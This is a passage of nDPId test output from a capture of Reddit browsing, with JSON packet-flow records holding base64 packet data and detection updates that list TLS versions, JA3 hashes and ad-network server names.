+00542{"flow_id":46,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9114,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":457870,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gCvtsAGAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAC58gBu5uynjf\/+UfbgBgB9ThEAAABAQgKDGYndMLXSb0UAwMAAQEXAwMANcxNdd7n6D1SmPZcrLqPmYCKaa74qo41V7hB0y4VKzGdmGo6hjvJ1yYndqthGOKxBj6SlG4s"} +00587{"flow_id":45,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9115,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":458127,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gB68TAHwGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACACxz4Buz6SvatbO2iqgBgB9UhjAAABAQgKVF\/tncLXSboXAwMAV+MBBQym7s2H\/DCrgROb2ZwrQ\/FB21xLJaDmMmBrKCOTrbKZm8OcMm2NY3jGeiNNfuEdz0KZrzuIEJzAfjmeAzV5sqaYsfYtFcZ\/Pih+9\/gndd6PGV693w=="} +00585{"flow_id":46,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9116,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":458289,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gCvtsAHwGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAC58gBu5uynnf\/+UfbgBgB9WDkAAABAQgKDGYndcLXSb0XAwMAV9HGxsWLmQ5QoTCKjodxhKrE\/DLWsJPHHWL6HgT4T+L1xrHpr+lwSl5DcFLZ2jlzbbuuJKv16AXW+JlIoS8AV8+s8CL4N4J4acNhUHwRR1ML7O\/asDwFhw=="} +00831{"flow_id":45,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9117,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":458472,"pkt_caplen":363,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":363,"pkt_l4_len":309,"pkt":"qtsDr8lk5EKm5WPyht1gB68TATUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACACxz4Buz6SvgdbO2iqgBgB9dPMAAABAQgKVF\/tncLXSboXAwMBEA5bIC1YuXYNoVa4kGZipWjrCUoy5VvCqWq\/3Xp9Yj7L4RKgWdM9ci7zfUevkVKWxsjYBpOrQH0FcfgGsLsCdKGu\/5XXNA+NnpQSyd2mVCc0gJUANqHILJ16he9cv8n1O6Iu5w2r6za7ODRE8zIna\/jKpUdvsVEQpKMEifNVTYv3gUV7meYY2P0p+6Yd47LFSl7UZHYRsQ4ZuRhtAL+mHMpzoPUrW3jB3pz2FW+oYKpdJEpDEw9oqGqSaCtW93bIenRf8DYSunWG5FNICVIdfNcxhup\/a8UmA4yx4YVJiHm7C+vHBe9Iw2xAZQVjh4DeK+IkBtxyIcsxLkSlKmiS2fWAYAnNdJjl6sDUKNgSmgK7"} +00456{"flow_id":45,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9119,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":482167,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgFAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvHPls7aKo+kr2rgBALOKhYAAABAQgKwtdJ31Rf7Zo="} +00458{"flow_id":47,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9120,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":482348,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAADRffKUqAcsBIEmLB5kd7IUo3\/YpAbu2Nv\/zx\/CbDtmcgBALMDKbAAABAQgKwtdJ3AKUPyQ="} +00455{"flow_id":48,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9121,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":482349,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgLAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbvo6PvOtUSc0w+JgBALMOG0AAABAQgKwtdJ318E6qU="} +02094{"flow_id":48,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9134,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":483975,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgLAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbvo6PvOtUSc0w+JgBgLMBkAAAABAQgKwtdJ5V8E6qUWAwMAegIAAHYDAzEUuDJS7zIr\/0LubxO1lBnJ2G3idbUUbMleLJrwrHy1IP1iGayHUC21LtXXhZv4JDAqZ2p5lGfiZ6mCAOAtx5YLEwEAAC4AMwAkAB0AIDifY5d8Trlhqr5UiPFrtRLEqu90dsXP7HZX20ezXrtxACsAAgMEFAMDAAEBFwMDCrQwraQFgYmKW3xQb9k0np6JMuthLmPrI+BCqrtLnvLPA+TGlj93\/YnhE12v8kKRfHo03l0EyIztxxukXe1FiIUMgX6Ge+hVHX4SkiZlxJR+b7PwB94lT274sqDmJGVmwOOBOiKIxBuuD5CrrWCMFBYsI+Z7XVJUMzYRgm7\/eN7jdO\/LlOWZiNSDOSBjLP9WkZnV2f1x1gNSbMlGF0St15mt9nwVb0lOP9d5mVxA9IdpE611UQERvUUG5dAVKrcvWrkWu8Kle7poURToXcSFVctTzJcaxyI+27y+xChNHX1ML16iZW+r\/JD+Ts\/+d\/WPKpJ1E9YM802iJKc0kfXrS1piCevII1JK0GThaeTx7R5yMEsoGe6FkWOTzH\/wcDiUdMEHehjq4e2KA2Jr68BZxQI2ygUtlHwsrQTgQn3m9YCs0fuEKBmRrJQeRW+bP\/mJq+VYd63cISVhXP8zBucOgSdYw\/J0El81FhESB8m6bemN5Z9BbZxChpN437DrI8yFAZlZwY8ffukQ+taeSlRAcumS6hHa8WvBVfwCwSF1EwZ0VBKtOx9jCwLmpCra9xEYDqnFJfgDvGhXYYZQDOgw2b8rdjjBfuSB96gyjzEqCqKvJQhv+N5IP7oQKy3QfYDcnfwgdmJY2csadICDsy1cNkCN3L6WPia4wiO2sgZgpykYbxc3qejETcFerTp4kQoSksYvUCMrv8UCRlCFsqc\/9PxGzCuU6nqgtGIrh+6PHNU79MBWLZd3jbLPVkALVBDLIGQYKqCz7t+aRUMFGocBseU5pxOkdyZ2oHqP\/e+MC2FrmkdhQEJcSpiePEHbCs3tYQb2xJKJHSYFSMbNGGccDQKgYhSoIG9dLR1joha5FCOXQ9F6WSuozbTeCOLMODPLOJdlb78Bm83hXDnGqd+2Kpn9UTrIHfxHurbDntfBsTzci4lLfcq9Uw8oWIXPlfqa6ih\/eEVAQvfI1JnqP9\/XyjQcfQrHrsn+\/ocNJLAQqcSfLWJN4jsGgevavwEa4yXAzibgzDSoBs5qYUUgzL1DIh+7UmBvvvCggKcZBQPC\/9jaMf4Q8mI4fwwib043UAQmnApOqZKSz89iJJYH7yW0MBTBZZmMCtw0IyAQkcu\/2k7xUD7rniu1jwenew1vs9mJI8moeuSQ0EJjCwSiM5Hf9Nl22L1DNDqI88ab\/Hi\/l4\/zIGnpbycNbrg3afpUXS9JLGsg8Np33U+57fI8CCl0T4ltmeSHHgkkcJo4mMrT4Nl9Vtel+QaNXcEsWExGWVzQWgl6AVdGDOX48khFNav+3pLaE0S0aq4Hw3zNQKXly9Ns41Hu6CqB5lAWxVBFBHlg3keMKGQtjJ9HXkhMhnkqvQ4Ca9Lk0SuOqlb22OV9Bz2l9uNaGdGrK7\/WE4u0vos4YOwKQYYfbJtmoa7tHOL7FA=="} +00955{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":9134,"source":"reddit.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":6,"flow_first_seen":1605291690421,"flow_last_seen":1605291690483,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80b::2001","src_port":59624,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"8a755a3fef0b189d8ab5b0d10758f68a.safeframe.googlesyndication.co","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00454{"flow_id":48,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9137,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":484022,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBJW4ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAB6OgBu5zTD4n7zrn8gBAB8uYSAAABAQgKXwTqx8LXSeU="} +02100{"flow_id":48,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9138,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":484046,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgLAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbvo6PvOufyc0w+JgBgLMH7BAAABAQgKwtdJ5V8E6qW0dvdPeoIW6Mlzn4fCdup5LuKkFUzO1IUXBD+jcfmJlqqzkb8XR9Id+PzDgPlIw9jB\/0W5zEPZmQNSue6yDQJErphWHa9rHqlcgW5yLmL0Zb5t57oEkSuCE15UyzCPxXN0BAgf5E3tJYNz99ni6zBfqCqM0em0x1HZZ7rrtpRGNPMKp8ztl8Q4Ol3QtVlUpQn+NOJjAF7C136NznQao8EBpOO2D1PHWSjgfz7Ia0+RUx+42BvtUsCM8VSlQD6w4W0IVBtI8JOk7kjSEjWDy65OwYHMU9HCbl5sIU3VEbu9R0ox2xfTm8YIfn2dT7T\/sWue+GEYXw4PmlKNeUzHzQoMa\/n06vKSYsD+6+xwS\/GaatyT6k8Aah+dkmdolHudU6BT+cyYWgoskeNvs\/BbmXm02lCoU9YSBe2THEhatOL1qAopykttrz5bYPf\/jeSIf+2CLWakwFIzHRYV0E2L+waWHmZTa3TSVn3gPkPwWzwLZM1YWSL6jsOEIRTDdSJkFSrM+3OOwP8nyjBsZSx9nGY8XrAYd1kOF+yV9Ww8v\/24f16y6bkPe74Lb9ROpKctqBD5i7RYLtEOgpPbqF8RQ\/\/62DuObMgndnHFl6wlk3dBEJhXh5oJKVI3OVTnH6o2UoYbueNksyp\/P1fN9r+qEcfj\/iXAFNtV6X4kPat+587rzk20r8DN01dfYi1zf4lyhEqPDdBgy2sGY2B61RyHLN4Lqnmfl1T2VvJmqDq9AAn\/LKnXkwuoV7mOSBvgHXtqgTT\/QLC08flK5q\/TVM3Ozi6Xgek2hSiKMaXfR1YOVhgAUDyYA4ajnpacflIbpk4Xi64hAjQX+fp5nlKBAiudMTpwoliKL\/y9ZRalcF+W9mv7bB26Av+r4JUoe2TDU0TiQtNPHvvZU4t\/UFM8JPeG9cvxfYOvCtXxe8gstNI\/ahOCEYVs2HgeTnzIjhPzOrN31hM8pJ\/h4Pxu3m9H3LR5JkgxjsLeO3MQPfEv6oKNPlDKqj5Jpv3tNN92oZ+BUCiDVA1Bc504xqkYF3pE5bGCIya+igCx14IFrF+KCLrIo90ug5t5F2kqU7GXe41kZxZe18FckbwXYg+vwzmb7LAD81JUCXhsItRyFsqH\/XbzrJoABXJqrbqQGIwkw1jFFaq4xbjAFI8UYOrF53WF4bPKGCMVBbyhqxK+ft70Xb2BcC8jdYjtNnIyBncHwc2IiRk3JNuSyLKm8yfIQ2zmLxlnB\/M3ChJd+zZqAD5\/caIO+rJqrMU7cNuHTj\/bDj075se2P324qnHohEErjqA\/JIM7Ve00sF3CVQHBstEGfiHrlDe4\/8NS5K1BnNUb+qhlxHJQsS9qOGmkw+oh3kCzAnpXeabXo1GMDhoF3SiKaEM9QF4IWKuQNKEphBib3ocidoTPJf6Cl\/3eiRgqCwxWLj6chRjOy2GiSBXAYhpzMrX\/Blt8qN5JIRnn+wiZTwkoCSK3rarcpilPq9D2jccLbRnbeRhm4k+2Qcp7kd6SEVakh\/PokbyTJ0yUKDVC0sDjbA+C6KCqJE3lPo4T+lxF+efwb1VBmN2BZpT75plnStSCSSS1i+U+DnyrIAlLTrg1jSCDaz9uU6e6OoqdLQ=="} +00454{"flow_id":48,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9139,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":484052,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBJW4ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAB6OgBu5zTD4n7zr60gBAB6eFjAAABAQgKXwTqx8LXSeU="} +01086{"flow_id":48,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9141,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":484682,"pkt_caplen":548,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":548,"pkt_l4_len":494,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAe4GPSoAFFBABwgLAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbvo6PvOvrSc0w+JgBgLMMFBAAABAQgKwtdJ5V8E6qXJ8N+tVclRjiFhNyZpgxKu\/\/IEiWfRSiI6gSvqBAZwSdNRTbDwjZrq1eO+VXOTtgo9g9w38yZo\/EVd7+vQl0lM5DuO9ddbU25Lw1HwiY8Sx0\/8A7SqQ7stuMAEBrwryou5vOLQl4mOKaMw3Tyn0WooBBlygZVs7bHfqC1c4mBt3iufR5aMsDRPc9hj\/zb6su31691H4jNxSCzqtVhIHz5AAjtvf5fN4BlSpP11bSEddU\/RpLzegdmM9g4Zpg4qIBxoH6+Y\/g3Sm8DEzKkms8IvcHe+Fxc8rd3XlJqHsV7Mo6GJcnC3+GRx\/Mk0ecaiml11YQh7xquu8Ai5lbiGuBccnSH5MSNMBdtNCvujb1xk1DyomWPbWm4cIAg1vnKvoK+SZQRRU8L6frly\/Nv5ggXOnfZzlhY90BjIRV31546n7Jq+tmJvDsA7MtQyJfMlXLyGTGTcyFIepI7wMFelydD+Zo53ZrLzsMaQ27kw9yMiY2YhaaBGjII4h5dB3l4\/NOnvUV0y2naKTa3SdbrlRG1yCHFl7p9vPT6Vt1ENVVGhqREDcErthtoGZ08rPaeQnyzXqyNl+G6FMIHaEk\/kanwVsmr3dVYoz8wzReV3+A8="} +00455{"flow_id":48,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9142,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":484695,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBJW4ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAB6OgBu5zTD4n7zsCCgBAB7d+QAAABAQgKXwTqyMLXSeU="} +00543{"flow_id":48,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9143,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":489320,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gBJW4AGAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAB6OgBu5zTD4n7zsCCgBgB9bQQAAABAQgKXwTqzcLXSeUUAwMAAQEXAwMANavSbPLcV0lXYF5mSNdTiFDKnxOg1\/0REvCqXU3KPBAoCM1n7lUa17po\/KA8M22nvSHrHXgO"} +00583{"flow_id":48,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9144,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":489533,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gBJW4AHwGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAB6OgBu5zTD8n7zsCCgBgB9YxQAAABAQgKXwTqzcLXSeUXAwMAV3v7\/U+JPp9qd1ALpOBGiCL5krLY40yH2E6QQ+EaRpOYbsIvkzSHg6H653NWchAmLo3jH8F3YR8JVmYQeHzBTQMnj3YkDygNZxvE9PfOFpYwwkd7P6Exxw=="} +00934{"flow_id":48,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9145,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":489757,"pkt_caplen":436,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":436,"pkt_l4_len":382,"pkt":"qtsDr8lk5EKm5WPyht1gBJW4AX4GQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAB6OgBu5zTECX7zsCCgBgB9YgGAAABAQgKXwTqzcLXSeUXAwMBWbaoEJq5VBVRBtDA580Gq81faBok9W86uazzDxI7S+Fbz28WMgvqUkFU6D+6dVs0OQ2zYiyUuuSgxUzN3JBvyMgnEWTnsaSIB5KJVjkt7FWbnsD75aUq6vN6YUhrxnmZMmaj\/e7ahAeKAX19w\/0bVwGib\/7w0uf0nvaIOl9p0xTwMq87WgLHVN4TOXhbXa4YAHzdVsKkL+IVtBHAsCp3OYE2xEEEmAa4rnlrHT2Mq23xxjQL\/1T79ecqj7lkgO\/xCB5R1xu1+V5GZ\/zLUiLR267esFBS2BpgOrIXlKXeLmP4VEi\/TUHxKQ1c3m4gg0Mvtcfgzg04Zp+batxXpBwCiDOTP6cZQ0JNZyaMbuRnJluIwRDQSE9AWw0cCkkChvKbSmTltG+WyO42MRwzVdEN2t49MmbZeOFobUbuJ53NN3fs4MjkdtPJh1QDb7mz3ypD2pZXlbaFAXf\/Wg=="} +02292{"flow_id":47,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9160,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":501383,"pkt_caplen":1446,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1446,"pkt_l4_len":1392,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABXAGPQBk\/5sAAAAAAAAAADRffKUqAcsBIEmLB5kd7IUo3\/YpAbu2Nv\/zx\/CbDtmcgBgLMIPFAAABAQgKwtdJ9wKUPyQWAwMAUAIAAEwDA+yYFdzW9eST+R6ukW7w9JqRWIuF\/\/vXe+\/b95tk5Yh0AMAvAAAk\/wEAAQAACwAEAwABAgAjAAAABQAAABAACwAJCGh0dHAvMS4xFgMDE0YLABNCABM\/AAXXMIIF0zCCBLugAwIBAgIQDeiPuDY50sQOtIPmNSQSdTANBgkqhkiG9w0BAQsFADBGMQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRUwEwYDVQQLEwxTZXJ2ZXIgQ0EgMUIxDzANBgNVBAMTBkFtYXpvbjAeFw0yMDA2MTUwMDAwMDBaFw0yMTA2MTUxMjAwMDBaMCUxIzAhBgNVBAMTGmFheC1ldS5hbWF6b24tYWRzeXN0ZW0uY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzCleb8Q8KytAwlr9ngnFkavcx4avpb7VotrcU6abTQNlAsCFCbcmokXmc1R8Mc9w+LaLzf31Z4dsrHsAi7eiANL\/yuxwpeMQUXC\/RvIYrAMXzOFLS9dQMEQdEN5SnPar6mLnb\/lQ2t\/EVvauG+WxcmtKpP+xCHrafO0uJeCVtin\/OOW3uEXGinxAWORHocW5d5VJ5YtexSqUXUNx8W9HJfRGNWev4WA4\/AHGxADmxN62MMzIAoHdQlftA7dZdunAD7jDxcbsXUNKW+aE9nq1vB4rln8GoXLR+o1NQRZzzK84WvUgo+9OBuUT3+1ng\/BffFCCI+qxRfQY5X+ZUM30DwIDAQABo4IC3DCCAtgwHwYDVR0jBBgwFoAUWaRmBlKge5WSPKOUByeWdFv5PdAwHQYDVR0OBBYEFO9QrAQo+YKhUJCPaB05\/MffvAqkMHwGA1UdEQR1MHOCGmFheC1ldS5hbWF6b24tYWRzeXN0ZW0uY29tghdhYXguYW1hem9uLWFkc3lzdGVtLmNvbYIbYWF4LWNwbS5hbWF6b24tYWRzeXN0ZW0uY29tgh9hYXgtZHRiLXdlYi5hbWF6b24tYWRzeXN0ZW0uY29tMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwOwYDVR0fBDQwMjAwoC6gLIYqaHR0cDovL2NybC5zY2ExYi5hbWF6b250cnVzdC5jb20vc2NhMWIuY3JsMCAGA1UdIAQZMBcwCwYJYIZIAYb9bAECMAgGBmeBDAECATB1BggrBgEFBQcBAQRpMGcwLQYIKwYBBQUHMAGGIWh0dHA6Ly9vY3NwLnNjYTFiLmFtYXpvbnRydXN0LmNvbTA2BggrBgEFBQcwAoYqaHR0cDovL2NydC5zY2ExYi5hbWF6b250cnVzdC5jb20vc2NhMWIuY3J0MAwGA1UdEwEB\/wQCMAAwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdQD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAXK4+hzLAAAEAwBGMEQCIGFKTza+viDDYq9XbPKMQmX55DEfJN+l8ftdYZzW56moAiBYDH1CyVSQ+sIYNqTB7va0UuokLThNe8us0ipAMA8juwB2AFzcQ5L+5qtFRLFemtRW5hA3+9X6R9yhc5SyXub2xw7KAAABcrj6HMoAAAQDAEcwRQIgZOsIHbo0YiikgUk6LjtiIIEmMUkdw6IpbWY8tTXeIO0CIQCsKa5L8gY2i1UFeO+JAkbuYZInqHszCbxw4uIRPRkP2DANBgkqhkiG9w0BAQsFAAOCAQEAm0B9GXm8ET3n8ec5IH8SHE6yrpnY"} +00891{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":9160,"source":"reddit.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":6,"flow_first_seen":1605291690405,"flow_last_seen":1605291690501,"flow_tot_l4_data_len":2085,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1392,"flow_avg_l4_data_len":347,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::345f:7ca5","src_port":46646,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"aax-eu.amazon-adsystem.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"49b45fc1ab090aa3a159778313fc9b9e","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02288{"flow_id":47,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9161,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":501384,"pkt_caplen":1446,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1446,"pkt_l4_len":1392,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABXAGPQBk\/5sAAAAAAAAAADRffKUqAcsBIEmLB5kd7IUo3\/YpAbu2Nv\/zzUCbDtmcgBgLMPWhAAABAQgKwtdJ9wKUPyQEwRWgO9opO\/Q\/cDeH3yj9MAzRv7b\/Ql8YVnsv8e0kBHobhksE5dbQPPQyilk9rqXVv4V1HuwoS7mKURarJkpsCtFVipZ9mZVkH5aU37LJ09Qq9X+TIRP4WqTqZTvju0xSwbxuMVZmk4f2f\/x0UKNdv04rPTDQ71sEWsohvAfJxqFTXTA07J5c6bBR5mbuzvMIhAhA3is5PDyYblWvIR5tee+OChPh0aeoBbDMGobwrU2P1XXeCwK1O\/BYp6s16bggwdSG3Yz7GRjkEY6UjZMjM1v+4gekZYv+DL2IJnM0Vg2hjyWgnWLzuoxzAARNMIIESTCCAzGgAwIBAgITBn+UV4WH6Kx33rJTMlu8mYtWDTANBgkqhkiG9w0BAQsFADA5MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAxMB4XDTE1MTAyMjAwMDAwMFoXDTI1MTAxOTAwMDAwMFowRjELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEVMBMGA1UECxMMU2VydmVyIENBIDFCMQ8wDQYDVQQDEwZBbWF6b24wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDCThZn3c68asg3Wuw6MLAd5tES6BIoSMzoKcG5blPVo+sDORrMd4f2AbnZcMzPa43j4wNxhplty6aUKk4T1qe9BOwKFjwK6zmxxLVYo7bHViXsPlJ6qOMpFge5blDP+18x+B26A0piiQOuPkfyDyeR4xQghfj66Yo19V+emU3nazfvpFA+ROz6WoVmB5x+F2pV8xeKNR7u6azDdU5YVX1TawprmxRC1+WsAYmz6qP+z8ArDITC2FMVy2fw0IjKOtEXc\/VfmtTFch5+AfGYMGMqqvJ6LcXiAhqG5TI+Dr0RtM88k+8XUBCeQ8IGKuANaL7TiItKZYxK1MMuTJtV9IblAgMBAAGjggE7MIIBNzASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjAdBgNVHQ4EFgQUWaRmBlKge5WSPKOUByeWdFv5PdAwHwYDVR0jBBgwFoAUhBjMhTTsvAyUlC4IWZzHshBOCggwewYIKwYBBQUHAQEEbzBtMC8GCCsGAQUFBzABhiNodHRwOi8vb2NzcC5yb290Y2ExLmFtYXpvbnRydXN0LmNvbTA6BggrBgEFBQcwAoYuaHR0cDovL2NydC5yb290Y2ExLmFtYXpvbnRydXN0LmNvbS9yb290Y2ExLmNlcjA\/BgNVHR8EODA2MDSgMqAwhi5odHRwOi8vY3JsLnJvb3RjYTEuYW1hem9udHJ1c3QuY29tL3Jvb3RjYTEuY3JsMBMGA1UdIAQMMAowCAYGZ4EMAQIBMA0GCSqGSIb3DQEBCwUAA4IBAQCFkr41u3nPo4FCHOTjY3NTOVI159Gt\/a6ZiqyJEi+752+a1U5y6iAwYfmXss2lJwJFqMp2PphKg5625